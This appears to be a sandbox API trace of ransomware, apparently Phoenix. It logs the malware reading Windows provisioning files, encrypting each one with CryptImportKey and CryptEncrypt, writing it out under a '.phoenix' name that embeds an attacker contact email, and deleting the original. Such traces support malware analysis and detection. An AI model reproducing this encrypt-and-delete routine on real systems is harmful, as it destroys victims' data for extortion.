	[0250.595] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\427__connections_cellular_sunrise (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0250.595] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0250.595] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0250.595] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\427__connections_cellular_sunrise (switzerland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0250.596] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0250.596] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0250.596] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x287, lpOverlapped=0x0) returned 1
	[0251.167] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0251.167] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0251.168] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151400) returned 1
	[0251.168] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.168] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.168] CryptDestroyKey (hKey=0x151400) returned 1
	[0251.168] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.168] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.168] CloseHandle (hObject=0x2f0) returned 1
	[0251.168] CloseHandle (hObject=0x2e8) returned 1
	[0251.168] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\427__connections_cellular_sunrise (switzerland)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.169] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0251.169] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\428__connections_cellular_swisscom (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.170] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=719) returned 1
	[0251.170] CloseHandle (hObject=0x2e8) returned 1
	[0251.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\428__connections_cellular_swisscom (switzerland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0251.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\428__connections_cellular_swisscom (switzerland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.170] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\428__connections_cellular_swisscom (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.170] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.170] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.170] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\428__connections_cellular_swisscom (switzerland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.171] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0251.171] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.171] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cf, lpOverlapped=0x0) returned 1
	[0251.178] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0251.178] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.178] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151680) returned 1
	[0251.179] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.179] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0251.179] CryptDestroyKey (hKey=0x151680) returned 1
	[0251.179] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0251.179] CryptDestroyKey (hKey=0x151600) returned 1
	[0251.179] CloseHandle (hObject=0x2e8) returned 1
	[0251.179] CloseHandle (hObject=0x2f0) returned 1
	[0251.179] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\428__connections_cellular_swisscom (switzerland)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.180] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0251.180] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\42__connections_cellular_velcom (belarus)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.180] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=850) returned 1
	[0251.180] CloseHandle (hObject=0x2f0) returned 1
	[0251.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\42__connections_cellular_velcom (belarus)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0251.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\42__connections_cellular_velcom (belarus)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.180] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\42__connections_cellular_velcom (belarus)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.181] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.181] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.181] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\42__connections_cellular_velcom (belarus)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.181] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0251.181] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.181] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x352, lpOverlapped=0x0) returned 1
	[0251.182] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0251.183] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0251.183] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0251.183] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.183] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0251.183] CryptDestroyKey (hKey=0x151600) returned 1
	[0251.183] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0251.184] CryptDestroyKey (hKey=0x151280) returned 1
	[0251.184] CloseHandle (hObject=0x2f0) returned 1
	[0251.184] CloseHandle (hObject=0x2e8) returned 1
	[0251.184] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\42__connections_cellular_velcom (belarus)_i3$(__mvid)@wap.provxml")) returned 1
	[0251.185] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0251.185] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\430__connections_cellular_mtn (syria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.185] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=637) returned 1
	[0251.185] CloseHandle (hObject=0x2e8) returned 1
	[0251.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\430__connections_cellular_mtn (syria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0251.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\430__connections_cellular_mtn (syria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.185] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\430__connections_cellular_mtn (syria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.185] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.185] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.186] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\430__connections_cellular_mtn (syria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.186] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0251.186] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.186] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x27d, lpOverlapped=0x0) returned 1
	[0251.187] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x280, dwBufLen=0x280 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x280) returned 1
	[0251.188] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x280, lpOverlapped=0x0) returned 1
	[0251.189] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0251.189] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.189] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0251.189] CryptDestroyKey (hKey=0x151600) returned 1
	[0251.189] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0251.189] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.189] CloseHandle (hObject=0x2e8) returned 1
	[0251.189] CloseHandle (hObject=0x2f0) returned 1
	[0251.189] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\430__connections_cellular_mtn (syria)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.190] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0251.190] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\431__connections_cellular_syriatel (syria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.191] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=650) returned 1
	[0251.191] CloseHandle (hObject=0x2f0) returned 1
	[0251.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\431__connections_cellular_syriatel (syria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0251.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\431__connections_cellular_syriatel (syria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.191] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\431__connections_cellular_syriatel (syria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0251.191] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.191] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0251.191] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\431__connections_cellular_syriatel (syria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0251.192] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0251.192] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0251.192] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28a, lpOverlapped=0x0) returned 1
	[0251.194] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
